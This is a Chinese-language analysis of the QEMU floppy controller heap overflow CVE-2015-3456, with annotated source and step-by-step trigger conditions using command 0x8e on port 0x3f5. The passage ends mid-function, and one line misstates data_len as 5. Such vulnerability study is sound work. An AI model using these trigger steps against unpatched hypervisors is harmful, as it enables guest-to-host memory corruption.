环境搭建
QEMU版本:1.5.3
编译
◆下载 python 2.7
apt install python2.7 python2.7-dev
◆必要的依赖
apt-get install -y \
git \
libglib2.0-dev \
libfdt-dev \
libpixman-1-dev \
zlib1g-dev \
ninja-build \
pkg-config \
libgnutls28-dev \
libssl-dev \
libsasl2-dev \
libgtk-3-dev \
libvte-2.91-dev \
libssh-dev \
libusb-1.0-0-dev \
libaio-dev \
libcap-ng-dev \
libattr1-dev \
libcurl4-gnutls-dev \
python3 \
python3-pip \
flex \
bison
◆Build
../configure --enable-debug --enable-kvm --python=/usr/bin/python2.7 --disable-werror --disable-virtfs
FDC
FDC(Floppy Disk Controller)是模拟 Intel 82078 软盘控制器的硬件设备,用于:
◆控制软盘驱动器(最多2个,MAX_FD = 2)
◆处理软盘命令(READ、WRITE、SEEK、FORMAT等)
◆管理数据传输(DMA或PIO)
◆维护驱动器状态(磁头位置、磁道、扇区等)
整体流程
QEMU启动
↓
设备注册 (fdc_register_types)
↓
设备实例化 (qdev_create)
↓
设备初始化 (qdev_init_nofail)
↓
调用设备特定的init函数:
├─→ isabus_fdc_init1 (ISA设备)
├─→ sysbus_fdc_init1 (SysBus设备)
└─→ sun4m_fdc_init1 (Sun4m设备)
↓
fdctrl_init_common(fdctrl)
↓
初始化command_to_handler查找表
↓
分配fifo缓冲区: qemu_memalign(512, 512)
↓
设置fifo_size = 512
↓
初始化其他控制器状态
↓
连接驱动器 (fdctrl_connect_drives)
FDC I/O端口映射
iobase
static Property isa_fdc_properties[] = {
DEFINE_PROP_HEX32("iobase", FDCtrlISABus, iobase, 0x3f0),
DEFINE_PROP_UINT32("irq", FDCtrlISABus, irq, 6),
DEFINE_PROP_UINT32("dma", FDCtrlISABus, dma, 2),
DEFINE_PROP_DRIVE("driveA", FDCtrlISABus, state.drives[0].bs),
DEFINE_PROP_DRIVE("driveB", FDCtrlISABus, state.drives[1].bs),
DEFINE_PROP_INT32("bootindexA", FDCtrlISABus, bootindexA, -1),
DEFINE_PROP_INT32("bootindexB", FDCtrlISABus, bootindexB, -1),
DEFINE_PROP_BIT("check_media_rate", FDCtrlISABus, state.check_media_rate,
0, true),
DEFINE_PROP_END_OF_LIST(),
};
◆这样我们可以知道 iobase 为0x3f0
端口映射表
/* FDC I/O端口映射表 - outb机制的关键
* c
* 结构说明:
* { offset, length, size, .read = func, .write = func }
* - offset: 相对于iobase的偏移量
* - length: 端口范围长度
* - size: 访问大小(1=字节,2=字,4=双字)
*
* 端口映射(假设iobase=0x3f0):
* - 0x3f1-0x3f5: 偏移1-5,映射到fdctrl_read/fdctrl_write
* * 0x3f1 (offset=1): FD_REG_SRA (状态寄存器A)
* * 0x3f2 (offset=2): FD_REG_DOR (数字输出寄存器)
* * 0x3f3 (offset=3): FD_REG_TDR (磁带驱动器寄存器)
* * 0x3f4 (offset=4): FD_REG_MSR (主状态寄存器)
* * 0x3f5 (offset=5): FD_REG_FIFO (FIFO数据寄存器) ← 漏洞触发端口!
* - 0x3f7: 偏移7,映射到fdctrl_read/fdctrl_write
* * 0x3f7 (offset=7): FD_REG_DIR (数字输入寄存器) 或 FD_REG_CCR (配置控制寄存器)
*
* outb(0x8e, 0x3f5) 的完整路径:
* 1. 主机执行outb(0x8e, 0x3f5)
* 2. QEMU CPU模拟层:cpu_outb(0x3f5, 0x8e)
* 3. I/O端口层:ioport_write(0, 0x3f5, 0x8e)
* 4. 查找注册的handler:ioport_write_table[0][0x3f5]
* 5. 调用:portio_writeb_thunk() → fdctrl_write(offset=5, value=0x8e)
* 6. fdctrl_write识别offset=5为FD_REG_FIFO
* 7. 调用fdctrl_write_data(fdctrl, 0x8e)
* 8. fdctrl_write_data识别data_pos=0,进入命令模式
*/
static const MemoryRegionPortio fdc_portio_list[] = {
{ 1, 5, 1, .read = fdctrl_read, .write = fdctrl_write }, /* 0x3f1-0x3f5 */
{ 7, 1, 1, .read = fdctrl_read, .write = fdctrl_write }, /* 0x3f7 */
PORTIO_END_OF_LIST(),
};
◆这里的定义就是0x3f1-0x3f5 & 0x3f7会去调用 fdctrl_write与fdctrl_read去处理系统调用的访问
FDC操作映射
◆根据传入的 offset 其对应的操作,比如我传递0x3f5,那么与iobase的差距为5。所以我们的fdctrl_write传入的参数为(opaque,5,value)。那么对应 FD_REG_FIFO
enum {
FD_REG_SRA = 0x00,
FD_REG_SRB = 0x01,
FD_REG_DOR = 0x02,
FD_REG_TDR = 0x03,
FD_REG_MSR = 0x04,
FD_REG_DSR = 0x04,
FD_REG_FIFO = 0x05,
FD_REG_DIR = 0x07,
FD_REG_CCR = 0x07,
};
staticvoidfdctrl_write (void *opaque, uint32_t reg, uint32_t value){
FDCtrl *fdctrl = opaque;
FLOPPY_DPRINTF("write reg%d: 0x%02x\n", reg & 7, value);
reg &= 7;
switch (reg) {
case FD_REG_DOR:
fdctrl_write_dor(fdctrl, value);
break;
case FD_REG_TDR:
fdctrl_write_tape(fdctrl, value);
break;
case FD_REG_DSR:
fdctrl_write_rate(fdctrl, value);
break;
case FD_REG_FIFO:
fdctrl_write_data(fdctrl, value);
break;
case FD_REG_CCR:
fdctrl_write_ccr(fdctrl, value);
break;
default:
break;
}
}
fdctrl_write_data
当 offset 为 5则会调用 fdctrl_write_data
/* FDC FIFO数据写入处理函数 - 漏洞核心函数
*
* 函数调用链:
* fdctrl_write (FD_REG_FIFO) → fdctrl_write_data
*
* 整体流程:
* 1. 检查控制器状态(RESET、RQM、DIO)
* 2. 判断当前模式:
* a) 非DMA数据传输模式 (FD_MSR_NONDMA): 处理数据传输
* b) 命令模式 (data_pos == 0): 识别命令,设置data_len
* c) 参数接收模式: 接收命令参数,写入FIFO
* 3. 当data_pos == data_len时,调用命令处理器
*
* 状态机转换:
* 空闲 → 命令接收 → 参数接收 → 命令处理 → 数据传输/结果返回 → 空闲
*
* 漏洞触发条件:
* 1. 控制器处于非RESET状态
* 2. MSR_RQM标志置位(请求主模式)
* 3. MSR_DIO标志未置位(写方向)
* 4. 不在非DMA数据传输模式(否则会走另一个分支)
* 5. 攻击者发送命令后,继续发送超过data_len的数据
*
* 漏洞触发流程:
* Step 1: 发送命令字节(如0x8e)
* - data_pos = 0,识别命令,设置data_len = 6
* Step 2: 发送参数(正常5个参数)
* - data_pos: 1 → 2 → 3 → 4 → 5 → 6
* Step 3: 攻击:继续发送数据
* - data_pos继续增长:7 → 8 → ... → 512 → 513 → ...
* - 当data_pos >= 512时,fifo[data_pos]越界写入堆内存
*
* 关键变量:
* - fdctrl->fifo: 堆上分配的512字节缓冲区
* - fdctrl->data_pos: 当前写入位置(可能超过512)
* - fdctrl->data_len: 预期数据长度(根据命令设置)
* - fdctrl->msr: 主状态寄存器,控制状态机
*/
static void fdctrl_write_data(FDCtrl *fdctrl, uint32_t value)
{
FDrive *cur_drv;
int pos;
/* 检查1: 控制器必须在非RESET状态 */
if (!(fdctrl->dor & FD_DOR_nRESET)) {
FLOPPY_DPRINTF("Floppy controller in RESET state !\n");
return;
}
/* 检查2: 控制器必须准备好接收数据
* - MSR_RQM: 请求主模式标志,必须置位
* - MSR_DIO: 数据方向标志,0=写(主机→控制器),1=读(控制器→主机)
* 如果DIO置位,说明控制器在等待主机读取,不应该写入
*/
if (!(fdctrl->msr & FD_MSR_RQM) || (fdctrl->msr & FD_MSR_DIO)) {
FLOPPY_DPRINTF("error: controller not ready for writing\n");
return;
}
fdctrl->dsr &= ~FD_DSR_PWRDOWN;
/* Is it write command time ? */
if (fdctrl->msr & FD_MSR_NONDMA) {
pos = fdctrl->data_pos++;
pos %= FD_SECTOR_LEN;
fdctrl->fifo[pos] = value;
if (pos == FD_SECTOR_LEN - 1 ||
fdctrl->data_pos == fdctrl->data_len) {
cur_drv = get_cur_drv(fdctrl);
if (bdrv_write(cur_drv->bs, fd_sector(cur_drv), fdctrl->fifo, 1) < 0) {
FLOPPY_DPRINTF("error writing sector %d\n",
fd_sector(cur_drv));
return;
}
if (!fdctrl_seek_to_next_sect(fdctrl, cur_drv)) {
FLOPPY_DPRINTF("error seeking to next sector %d\n",
fd_sector(cur_drv));
return;
}
}
/* Switch from transfer mode to status mode
* then from status mode to command mode
*/
if (fdctrl->data_pos == fdctrl->data_len)
fdctrl_stop_transfer(fdctrl, 0x00, 0x00, 0x00);
return;
}
/* ========================================================================
* 命令识别阶段 - 当data_pos==0时,识别这是一个新命令
* ========================================================================
*
* 触发条件:data_pos == 0(FIFO为空,准备接收新命令)
*
* 命令识别流程:
* 1. 通过command_to_handler[value]查找命令对应的handler索引
* - command_to_handler数组在fdctrl_init_common()中初始化
* - 建立命令字节值(0x00-0xff)到handlers数组索引的映射
*
* 2. 设置预期数据长度:data_len = parameters + 1
* - parameters: 命令需要的参数数量(不包括命令字节本身)
* - +1: 包括命令字节本身
* - 例如:0x8e命令parameters=5,所以data_len=6
*
* 3. 设置MSR_CMDBUSY标志
* - 表示控制器正在处理命令,防止其他操作干扰
*
* 示例:outb(0x8e, 0x3f5)
* - value = 0x8e
* - pos = command_to_handler[0x8e] → 找到handlers数组索引
* - handlers[pos].name = "DRIVE SPECIFICATION COMMAND"
* - handlers[pos].parameters = 5
* - data_len = 5 + 1 = 6
* - 设置MSR_CMDBUSY标志
*
* 后续流程:
* - 命令字节0x8e被写入fifo[0]
* - data_pos变为1
* - 等待接收5个参数
*/
if (fdctrl->data_pos == 0) {
/* Command - 命令识别 */
pos = command_to_handler[value & 0xff]; /* 查找命令对应的handler索引 */
FLOPPY_DPRINTF("%s command\n", handlers[pos].name);
/* 设置预期数据长度:命令字节 + 参数数量 */
fdctrl->data_len = handlers[pos].parameters + 1;
/* 设置命令忙标志,防止其他操作干扰 */
fdctrl->msr |= FD_MSR_CMDBUSY;
}
FLOPPY_DPRINTF("%s: %02x\n", __func__, value);
/* ========================================================================
* CVE-2015-3456 漏洞核心代码 - 无边界检查的FIFO写入
* ========================================================================
*
* 漏洞点:直接使用data_pos作为数组索引,没有检查是否超过fifo_size(512)
*
* 正常流程:
* - data_pos从0开始,每次写入后递增
* - 当data_pos == data_len时,调用命令处理器
* - 命令处理器通常会调用fdctrl_set_fifo或fdctrl_reset_fifo重置data_pos=0
*
* 攻击流程(0x8e命令):
* 1. 发送命令字节0x8e,data_pos=0,设置data_len=6
* 2. 发送5个参数,data_pos: 1→2→3→4→5→6
* 3. 当data_pos==6时,调用fdctrl_handle_drive_specification_command
* 4. 如果第5个参数(fifo[5])的bit7=0且bit6=0,函数直接返回
* 5. data_pos保持为6,不会被重置
* 6. 攻击者继续发送数据:
* - data_pos=7: fifo[7] = value ← 仍在FIFO范围内
* - ...
* - data_pos=512: fifo[512] = value ← 越界写入!开始覆盖堆内存
* - data_pos=513: fifo[513] = value ← 继续越界写入
* - ...
*
*/
fdctrl->fifo[fdctrl->data_pos++] = value; /* 漏洞:直接使用data_pos,无边界检查! */
/* ========================================================================
* 命令处理阶段 - 当data_pos == data_len时,所有参数接收完毕
* ========================================================================
*
* 触发条件:data_pos == data_len(所有参数已接收)
*
* 处理流程:
* 1. 检查是否为格式化命令(特殊处理)
* 2. 根据命令字节(fifo[0])查找handler索引
* 3. 调用对应的命令处理函数
*
* 函数调用链:
* fdctrl_write_data → handlers[pos].handler(fdctrl, direction)
*
* 可能的处理器:
* - fdctrl_start_transfer: READ/WRITE等数据传输命令
* - fdctrl_handle_drive_specification_command: 0x8e命令 ← 漏洞利用的关键
* - fdctrl_handle_seek: SEEK命令
* - fdctrl_handle_specify: SPECIFY命令
* - 其他命令处理器
*
* 示例:0x8e命令处理
* - fifo[0] = 0x8e(命令字节)
* - fifo[1-5] = 5个参数
* - data_pos = 6,data_len = 6
* - pos = command_to_handler[0x8e]
* - handlers[pos].handler = fdctrl_handle_drive_specification_command
* - 调用:fdctrl_handle_drive_specification_command(fdctrl, ...)
*
* 漏洞利用的关键:
* - 如果handler函数不调用fdctrl_set_fifo()或fdctrl_reset_fifo()
* - data_pos不会被重置,可以继续写入数据
* - 导致data_pos超过512,触发缓冲区溢出
*/
/* 检查是否接收完所有参数 */
if (fdctrl->data_pos == fdctrl->data_len) {
/* 所有参数接收完毕,可以处理命令了 */
if (fdctrl->data_state & FD_STATE_FORMAT) {
/* 格式化命令的特殊处理 */
fdctrl_format_sector(fdctrl);
return;
}
/* 根据命令字节查找并调用相应的处理器 */
pos = command_to_handler[fdctrl->fifo[0] & 0xff]; /* 从fifo[0]获取命令字节 */
FLOPPY_DPRINTF("treat %s command\n", handlers[pos].name);
/* 调用命令处理函数 */
(*handlers[pos].handler)(fdctrl, handlers[pos].direction);
}
/* 注意:如果data_pos != data_len,函数返回,等待下一次写入
* 攻击者可以继续发送数据,使data_pos继续增长,直到超过512
*/
}
FIFO
FIFO是FDC的核心缓冲区,用于:
1.命令接收:主机通过FIFO发送命令和参数
2.数据传输:在主机和软盘之间缓冲数据
3.状态返回:控制器通过FIFO返回状态和结果
FIFO内存布局
内存地址布局(FDCtrl结构体中的FIFO相关字段):
+------------------+
| fifo (指针) | → 指向实际分配的512字节缓冲区
+------------------+
| fifo_size | = 512 (固定值)
+------------------+
| data_pos | = 当前读写位置(可能超过512)
+------------------+
| data_len | = 本次传输的总长度(可能很大)
+------------------+
| data_state | = 状态标志(MULTI, FORMAT等)
+------------------+
| data_dir | = 方向(READ/WRITE/SCAN等)
+------------------+
| eot | = 最后一个扇区号
+------------------+
实际FIFO缓冲区(通过fifo指针访问):
+------------------+
| fifo[0] | ← 命令字节或状态字节0
+------------------+
| fifo[1] | ← 参数1或状态字节1
+------------------+
| fifo[2] | ← 参数2或状态字节2
+------------------+
| ... |
+------------------+
| fifo[511] | ← 最后一个字节
+------------------+
FIFO内存分配
我们可以看见 fdctrl->fifo 被分配了较为固定的512字节大小的存储。
fdctrl->fifo = qemu_memalign(512, FD_SECTOR_LEN);
fdctrl->fifo_size = 512;
FIFO不同模式下的布局
命令模式
◆也就是 FIFO[0]决定要调用什么函数,然后后续的outb发送的就是我们的参数
fifo[0] = 命令字节(如0x05 = WRITE)
fifo[1] = 驱动器选择 + 磁头选择
fifo[2] = 磁道号 (track)
fifo[3] = 磁头号 (head)
fifo[4] = 起始扇区 (sector)
fifo[5] = 扇区大小码 (sector size code)
fifo[6] = 结束扇区 (EOT)
fifo[7] = GAP长度
fifo[8] = 数据长度(如果fifo[5]==0)
数据传输模式
fifo[0..511] = 一个扇区的数据(512字节)
- 非DMA模式:循环使用,pos = data_pos % 512
- DMA模式:每次读取一个完整扇区
结果返回模式
fifo[0] = SR0 (状态寄存器0)
fifo[1] = SR1 (状态寄存器1)
fifo[2] = SR2 (状态寄存器2)
fifo[3] = 当前磁道号
fifo[4] = 当前磁头号
fifo[5] = 当前扇区号
fifo[6] = 扇区大小码
FIFO的命令处理表
enum {
FD_CMD_READ_TRACK = 0x02,
FD_CMD_SPECIFY = 0x03,
FD_CMD_SENSE_DRIVE_STATUS = 0x04,
FD_CMD_WRITE = 0x05,
FD_CMD_READ = 0x06,
FD_CMD_RECALIBRATE = 0x07,
FD_CMD_SENSE_INTERRUPT_STATUS = 0x08,
FD_CMD_WRITE_DELETED = 0x09,
FD_CMD_READ_ID = 0x0a,
FD_CMD_READ_DELETED = 0x0c,
FD_CMD_FORMAT_TRACK = 0x0d,
FD_CMD_DUMPREG = 0x0e,
FD_CMD_SEEK = 0x0f,
FD_CMD_VERSION = 0x10,
FD_CMD_SCAN_EQUAL = 0x11,
FD_CMD_PERPENDICULAR_MODE = 0x12,
FD_CMD_CONFIGURE = 0x13,
FD_CMD_LOCK = 0x14,
FD_CMD_VERIFY = 0x16,
FD_CMD_POWERDOWN_MODE = 0x17,
FD_CMD_PART_ID = 0x18,
FD_CMD_SCAN_LOW_OR_EQUAL = 0x19,
FD_CMD_SCAN_HIGH_OR_EQUAL = 0x1d,
FD_CMD_SAVE = 0x2e,
FD_CMD_OPTION = 0x33,
FD_CMD_RESTORE = 0x4e,
FD_CMD_DRIVE_SPECIFICATION_COMMAND = 0x8e,
FD_CMD_RELATIVE_SEEK_OUT = 0x8f,
FD_CMD_FORMAT_AND_WRITE = 0xcd,
FD_CMD_RELATIVE_SEEK_IN = 0xcf,
};
staticconststruct {
uint8_t value;
uint8_t mask;
constchar* name;
int parameters;
void (*handler)(FDCtrl *fdctrl, int direction);
int direction;
} handlers[] = {
{ FD_CMD_READ, 0x1f, "READ", 8, fdctrl_start_transfer, FD_DIR_READ },
{ FD_CMD_WRITE, 0x3f, "WRITE", 8, fdctrl_start_transfer, FD_DIR_WRITE },
{ FD_CMD_SEEK, 0xff, "SEEK", 2, fdctrl_handle_seek },
{ FD_CMD_SENSE_INTERRUPT_STATUS, 0xff, "SENSE INTERRUPT STATUS", 0, fdctrl_handle_sense_interrupt_status },
{ FD_CMD_RECALIBRATE, 0xff, "RECALIBRATE", 1, fdctrl_handle_recalibrate },
{ FD_CMD_FORMAT_TRACK, 0xbf, "FORMAT TRACK", 5, fdctrl_handle_format_track },
{ FD_CMD_READ_TRACK, 0xbf, "READ TRACK", 8, fdctrl_start_transfer, FD_DIR_READ },
{ FD_CMD_RESTORE, 0xff, "RESTORE", 17, fdctrl_handle_restore }, /* part of READ DELETED DATA */
{ FD_CMD_SAVE, 0xff, "SAVE", 0, fdctrl_handle_save }, /* part of READ DELETED DATA */
{ FD_CMD_READ_DELETED, 0x1f, "READ DELETED DATA", 8, fdctrl_start_transfer_del, FD_DIR_READ },
{ FD_CMD_SCAN_EQUAL, 0x1f, "SCAN EQUAL", 8, fdctrl_start_transfer, FD_DIR_SCANE },
{ FD_CMD_VERIFY, 0x1f, "VERIFY", 8, fdctrl_start_transfer, FD_DIR_VERIFY },
{ FD_CMD_SCAN_LOW_OR_EQUAL, 0x1f, "SCAN LOW OR EQUAL", 8, fdctrl_start_transfer, FD_DIR_SCANL },
{ FD_CMD_SCAN_HIGH_OR_EQUAL, 0x1f, "SCAN HIGH OR EQUAL", 8, fdctrl_start_transfer, FD_DIR_SCANH },
{ FD_CMD_WRITE_DELETED, 0x3f, "WRITE DELETED DATA", 8, fdctrl_start_transfer_del, FD_DIR_WRITE },
{ FD_CMD_READ_ID, 0xbf, "READ ID", 1, fdctrl_handle_readid },
{ FD_CMD_SPECIFY, 0xff, "SPECIFY", 2, fdctrl_handle_specify },
{ FD_CMD_SENSE_DRIVE_STATUS, 0xff, "SENSE DRIVE STATUS", 1, fdctrl_handle_sense_drive_status },
{ FD_CMD_PERPENDICULAR_MODE, 0xff, "PERPENDICULAR MODE", 1, fdctrl_handle_perpendicular_mode },
{ FD_CMD_CONFIGURE, 0xff, "CONFIGURE", 3, fdctrl_handle_configure },
{ FD_CMD_POWERDOWN_MODE, 0xff, "POWERDOWN MODE", 2, fdctrl_handle_powerdown_mode },
{ FD_CMD_OPTION, 0xff, "OPTION", 1, fdctrl_handle_option },
{ FD_CMD_DRIVE_SPECIFICATION_COMMAND, 0xff, "DRIVE SPECIFICATION COMMAND", 5, fdctrl_handle_drive_specification_command },
{ FD_CMD_RELATIVE_SEEK_OUT, 0xff, "RELATIVE SEEK OUT", 2, fdctrl_handle_relative_seek_out },
{ FD_CMD_FORMAT_AND_WRITE, 0xff, "FORMAT AND WRITE", 10, fdctrl_unimplemented },
{ FD_CMD_RELATIVE_SEEK_IN, 0xff, "RELATIVE SEEK IN", 2, fdctrl_handle_relative_seek_in },
{ FD_CMD_LOCK, 0x7f, "LOCK", 0, fdctrl_handle_lock },
{ FD_CMD_DUMPREG, 0xff, "DUMPREG", 0, fdctrl_handle_dumpreg },
{ FD_CMD_VERSION, 0xff, "VERSION", 0, fdctrl_handle_version },
{ FD_CMD_PART_ID, 0xff, "PART ID", 0, fdctrl_handle_partid },
{ FD_CMD_WRITE, 0x1f, "WRITE (BeOS)", 8, fdctrl_start_transfer, FD_DIR_WRITE }, /* not in specification ; BeOS 4.5 bug */
{ 0, 0, "unknown", 0, fdctrl_unimplemented }, /* default handler */
};
◆fdctrl_init_common 会初始化command_to_handler,用来根据对应命令号获取**pos,然后去handlers中取出对应结构**
static int fdctrl_init_common(FDCtrl *fdctrl)
{
int i, j;
static int command_tables_inited = 0;
/* Fill 'command_to_handler' lookup table */
if (!command_tables_inited) {
command_tables_inited = 1;
for (i = ARRAY_SIZE(handlers) - 1; i >= 0; i--) {
for (j = 0; j < sizeof(command_to_handler); j++) {
if ((j & handlers[i].mask) == handlers[i].value) {
command_to_handler[j] = i;
}
}
}
}
// ...
}
FIFO 写入命令
一共这里我们可以看见分为两个板块,一个板块是接收数据
一个板块是判断数据接收完毕调用函数,然后设置标识位
/* FDC FIFO数据写入处理函数 - 漏洞核心函数
*
* 函数调用链:
* fdctrl_write (FD_REG_FIFO) → fdctrl_write_data
*
* 整体流程:
* 1. 检查控制器状态(RESET、RQM、DIO)
* 2. 判断当前模式:
* a) 非DMA数据传输模式 (FD_MSR_NONDMA): 处理数据传输
* b) 命令模式 (data_pos == 0): 识别命令,设置data_len
* c) 参数接收模式: 接收命令参数,写入FIFO
* 3. 当data_pos == data_len时,调用命令处理器
*
* 状态机转换:
* 空闲 → 命令接收 → 参数接收 → 命令处理 → 数据传输/结果返回 → 空闲
*
* 漏洞触发条件:
* 1. 控制器处于非RESET状态
* 2. MSR_RQM标志置位(请求主模式)
* 3. MSR_DIO标志未置位(写方向)
* 4. 不在非DMA数据传输模式(否则会走另一个分支)
* 5. 攻击者发送命令后,继续发送超过data_len的数据
*
* 漏洞触发流程:
* Step 1: 发送命令字节(如0x8e)
* - data_pos = 0,识别命令,设置data_len = 6
* Step 2: 发送参数(正常5个参数)
* - data_pos: 1 → 2 → 3 → 4 → 5 → 6
* Step 3: 攻击:继续发送数据
* - data_pos继续增长:7 → 8 → ... → 512 → 513 → ...
* - 当data_pos >= 512时,fifo[data_pos]越界写入堆内存
*
* 关键变量:
* - fdctrl->fifo: 堆上分配的512字节缓冲区
* - fdctrl->data_pos: 当前写入位置(可能超过512)
* - fdctrl->data_len: 预期数据长度(根据命令设置)
* - fdctrl->msr: 主状态寄存器,控制状态机
*/
static void fdctrl_write_data(FDCtrl *fdctrl, uint32_t value)
{
FDrive *cur_drv;
int pos;
/* 检查1: 控制器必须在非RESET状态 */
if (!(fdctrl->dor & FD_DOR_nRESET)) {
FLOPPY_DPRINTF("Floppy controller in RESET state !\n");
return;
}
/* 检查2: 控制器必须准备好接收数据
* - MSR_RQM: 请求主模式标志,必须置位
* - MSR_DIO: 数据方向标志,0=写(主机→控制器),1=读(控制器→主机)
* 如果DIO置位,说明控制器在等待主机读取,不应该写入
*/
if (!(fdctrl->msr & FD_MSR_RQM) || (fdctrl->msr & FD_MSR_DIO)) {
FLOPPY_DPRINTF("error: controller not ready for writing\n");
return;
}
fdctrl->dsr &= ~FD_DSR_PWRDOWN;
/* Is it write command time ? */
if (fdctrl->msr & FD_MSR_NONDMA) {
pos = fdctrl->data_pos++;
pos %= FD_SECTOR_LEN;
fdctrl->fifo[pos] = value;
if (pos == FD_SECTOR_LEN - 1 ||
fdctrl->data_pos == fdctrl->data_len) {
cur_drv = get_cur_drv(fdctrl);
if (bdrv_write(cur_drv->bs, fd_sector(cur_drv), fdctrl->fifo, 1) < 0) {
FLOPPY_DPRINTF("error writing sector %d\n",
fd_sector(cur_drv));
return;
}
if (!fdctrl_seek_to_next_sect(fdctrl, cur_drv)) {
FLOPPY_DPRINTF("error seeking to next sector %d\n",
fd_sector(cur_drv));
return;
}
}
/* Switch from transfer mode to status mode
* then from status mode to command mode
*/
if (fdctrl->data_pos == fdctrl->data_len)
fdctrl_stop_transfer(fdctrl, 0x00, 0x00, 0x00);
return;
}
if (fdctrl->data_pos == 0) {
/* Command */
pos = command_to_handler[value & 0xff];
FLOPPY_DPRINTF("%s command\n", handlers[pos].name);
/* 设置预期数据长度:命令字节 + 参数数量 */
fdctrl->data_len = handlers[pos].parameters + 1;
/* 设置命令忙标志,防止其他操作干扰 */
fdctrl->msr |= FD_MSR_CMDBUSY;
}
FLOPPY_DPRINTF("%s: %02x\n", __func__, value);
/* ========================================================================
* CVE-2015-3456 漏洞核心代码 - 无边界检查的FIFO写入
* ========================================================================
*
* 漏洞点:直接使用data_pos作为数组索引,没有检查是否超过fifo_size(512)
*
* 正常流程:
* - data_pos从0开始,每次写入后递增
* - 当data_pos == data_len时,调用命令处理器
* - 命令处理器通常会调用fdctrl_set_fifo或fdctrl_reset_fifo重置data_pos=0
*
* 攻击流程(0x8e命令):
* 1. 发送命令字节0x8e,data_pos=0,设置data_len=6
* 2. 发送5个参数,data_pos: 1→2→3→4→5→6
* 3. 当data_pos==6时,调用fdctrl_handle_drive_specification_command
* 4. 如果第5个参数(fifo[5])的bit7=0且bit6=0,函数直接返回
* 5. data_pos保持为6,不会被重置
* 6. 攻击者继续发送数据:
* - data_pos=7: fifo[7] = value ← 仍在FIFO范围内
* - ...
* - data_pos=512: fifo[512] = value ← 越界写入!开始覆盖堆内存
* - data_pos=513: fifo[513] = value ← 继续越界写入
* - ...
*
*/
fdctrl->fifo[fdctrl->data_pos++] = value; /* 漏洞:直接使用data_pos,无边界检查! */
/* 检查是否接收完所有参数 */
if (fdctrl->data_pos == fdctrl->data_len) {
/* 所有参数接收完毕,可以处理命令了
*
* 函数调用链:
* fdctrl_write_data → handlers[pos].handler
*
* 可能的处理器:
* - fdctrl_start_transfer: READ/WRITE等数据传输命令
* - fdctrl_handle_drive_specification_command: 0x8e命令
* - fdctrl_handle_seek: SEEK命令
* - 其他命令处理器
*/
if (fdctrl->data_state & FD_STATE_FORMAT) {
/* 格式化命令的特殊处理 */
fdctrl_format_sector(fdctrl);
return;
}
/* 根据命令字节查找并调用相应的处理器 */
pos = command_to_handler[fdctrl->fifo[0] & 0xff];
FLOPPY_DPRINTF("treat %s command\n", handlers[pos].name);
(*handlers[pos].handler)(fdctrl, handlers[pos].direction);
}
/* 注意:如果data_pos != data_len,函数返回,等待下一次写入
* 攻击者可以继续发送数据,使data_pos继续增长,直到超过512
*/
}
FIFO状态重制
参数传递完毕后处理器调用
◆一般在 data_pos 和 data_len相等的情况下,就会判定完参数传递完毕
// fdctrl_write_data
if (fdctrl->data_pos == fdctrl->data_len) {
/* 所有参数接收完毕,可以处理命令了 */
if (fdctrl->data_state & FD_STATE_FORMAT) {
/* 格式化命令的特殊处理 */
fdctrl_format_sector(fdctrl);
return;
}
/* 根据命令字节查找并调用相应的处理器 */
pos = command_to_handler[fdctrl->fifo[0] & 0xff]; /* 从fifo[0]获取命令字节 */
FLOPPY_DPRINTF("treat %s command\n", handlers[pos].name);
/* 调用命令处理函数 */
(*handlers[pos].handler)(fdctrl, handlers[pos].direction);
}
fdctrl_handle_drive_specification_command
那么根据映射表我们可以知道fdctrl_handle_drive_specification_command函数会被调用
static void fdctrl_handle_drive_specification_command(FDCtrl *fdctrl, int direction)
{
FDrive *cur_drv = get_cur_drv(fdctrl);
/* 检查第5个参数(最后一个参数)的最高位 */
if (fdctrl->fifo[fdctrl->data_pos - 1] & 0x80) {
/* Command parameters done - 参数处理完成 */
if (fdctrl->fifo[fdctrl->data_pos - 1] & 0x40) {
/* bit6=1: 需要返回结果 */
fdctrl->fifo[0] = fdctrl->fifo[1];
fdctrl->fifo[2] = 0;
fdctrl->fifo[3] = 0;
fdctrl_set_fifo(fdctrl, 4); /* 正常:重置data_pos=0,设置DIO标志 */
} else {
/* bit6=0: 不需要返回结果 */
fdctrl_reset_fifo(fdctrl); /* 正常:重置data_pos=0 */
}
} else if (fdctrl->data_len > 7) {
/* ERROR - 数据长度错误 */
/* 漏洞:data_len=6,这个条件永远不会满足! */
fdctrl->fifo[0] = 0x80 |
(cur_drv->head << 2) | GET_CUR_DRV(fdctrl);
fdctrl_set_fifo(fdctrl, 1); /* 永远不会执行到这里 */
}
/* 漏洞点:如果第5个参数的bit7=0且data_len<=7,函数直接返回
* 不调用任何重置函数,data_pos保持为6,可以继续写入!
*/
}
状态重制
/* FIFO状态重置函数 - 防止溢出的关键函数之一
*
* 功能:重置FIFO状态,准备接收新命令
*
* 关键操作:
* 1. data_pos = 0 ← 重置写入位置,防止data_pos无限增长!
* 2. data_dir = WRITE ← 设置为写模式(主机→控制器)
* 3. 清除CMDBUSY和DIO标志 ← 重置状态机标志
*
* 为什么能防止溢出:
* - 正常流程中,命令处理完成后会调用此函数重置data_pos=0
* - 如果data_pos被重置为0,后续写入会从fifo[0]开始,不会越界
* - 漏洞利用的关键是绕过这个重置,让data_pos继续增长超过512
*/
static void fdctrl_reset_fifo(FDCtrl *fdctrl)
{
fdctrl->data_dir = FD_DIR_WRITE;
fdctrl->data_pos = 0; /* 关键:重置位置,防止溢出 */
fdctrl->msr &= ~(FD_MSR_CMDBUSY | FD_MSR_DIO);
}
static void fdctrl_set_fifo(FDCtrl *fdctrl, int fifo_len)
{
fdctrl->data_dir = FD_DIR_READ;
fdctrl->data_len = fifo_len;
fdctrl->data_pos = 0; /* 关键:重置位置,防止溢出 */
fdctrl->msr |= FD_MSR_CMDBUSY | FD_MSR_RQM | FD_MSR_DIO; /* 关键:设置DIO标志,阻止后续写入 */
}
漏洞分析
当我们调用0x3f5,并且传入0x8e这种情况的时候,会去调用**fdctrl_handle_drive_specification_command函数,**然后在参数传递完毕后该函数并没有很好的处理fifo的状态,并且 后续的参数传递依赖的 data_pos,而data_pos是无限增加的。
FIFO绕过状态重制
◆在这里我们因为可以控制输入让fdctrl->fifo[fdctrl->data_pos - 1] & 0x80 判断为false,同时因为 data_len 在这种情况下为5,所以我们可以让fifo保持原状态。那么我们后续输入的数据就会让 data_pos 一直增长。
static void fdctrl_handle_drive_specification_command(FDCtrl *fdctrl, int direction)
{
FDrive *cur_drv = get_cur_drv(fdctrl);
/* 检查第5个参数(最后一个参数)的最高位 */
